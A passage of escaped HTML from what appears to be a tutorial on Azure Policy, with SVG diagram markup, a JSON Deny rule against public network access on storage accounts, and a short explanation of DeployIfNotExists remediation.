text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='132' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='36' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='180' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='20' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='196' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='116' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='132' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='232' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='20' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='100' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='116' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='196' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='4' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='196' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='20' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='180' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='36' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='132' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='20' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='36' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='100' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='116' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='132' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='36' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='132' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='180' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"2-proactive-enforcement-with-the-deny-effect\"\u003e2. Proactive Enforcement with the Deny Effect\u003c/h2\u003e\n\u003cp\u003eThe most powerful tool in your governance arsenal is the \u003ccode\u003eDeny\u003c/code\u003e effect. It evaluates a resource request \u003cem\u003ebefore\u003c/em\u003e it is created. If the resource doesn\u0026rsquo;t meet the requirement (e.g., it lacks a mandatory tag), ARM rejects the request with a \u003ccode\u003e403 Forbidden\u003c/code\u003e.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e{\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;if\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;field\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Microsoft.Storage/storageAccounts/publicNetworkAccess\u0026#34;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;ne\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Disabled\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  },\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003e\u0026#34;then\u0026#34;\u003c/span\u003e: {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003e\u0026#34;effect\u0026#34;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;Deny\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003ePro Tip:\u003c/strong\u003e Always set the \u003ccode\u003emode\u003c/code\u003e property in your policy definition. Use \u003ccode\u003eIndexed\u003c/code\u003e for policies that evaluate tags and locations. Use \u003ccode\u003eAll\u003c/code\u003e for resource-specific properties like network rules or subnets.\u003c/p\u003e\n\u003ch2 id=\"3-self-healing-with-deployifnotexists-dine\"\u003e3. Self-Healing with DeployIfNotExists (DINE)\u003c/h2\u003e\n\u003cp\u003eAuditing tells you what\u0026rsquo;s broken; \u003cstrong\u003eDeployIfNotExists (DINE)\u003c/strong\u003e fixes it automatically. This effect is used for auxiliary resources like diagnostic settings or private DNS zones. If the primary resource (e.g., a VNet) exists but the dependent resource (e.g., diagnostic settings) is missing, Azure Policy triggers a remediation task to deploy it.\u003c/p\u003e\n\u003ch3 id=\"dine-policy-remediation-workflow\"\u003eDINE Policy Remediation Workflow\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 680 265\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 344,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 360,160 L 608,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,208 L 352,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,208 L 608,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,0 L 80,16' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,16 L 352,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,120 L 352,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,160 L 352,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,208 L 352,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 616,16 L 616,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,208.000000 84.000000,202.399994 84.000000,213.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 208.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='352.000000,64.000000 340.000000,58.400002 340.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 344.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='616.000000,160.000000 604.000000,154.399994 604.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 608.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003ccircle cx='80' cy='0' r='6' stroke='currentColor' fill='#fff'\u003e\u003c/circle\u003e\n\u003ctext text-anchor='middle' x='16' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='16' y='244' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='24' y='244' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='52' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='40' y='244' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='244' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='244' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='244' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='244' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='244' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='244' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='36' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='244' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='52' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='244' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='244' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='244' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='244' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='244' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='244' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='52' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='244' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='52' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='52' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='116' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='148' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='148' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='196' 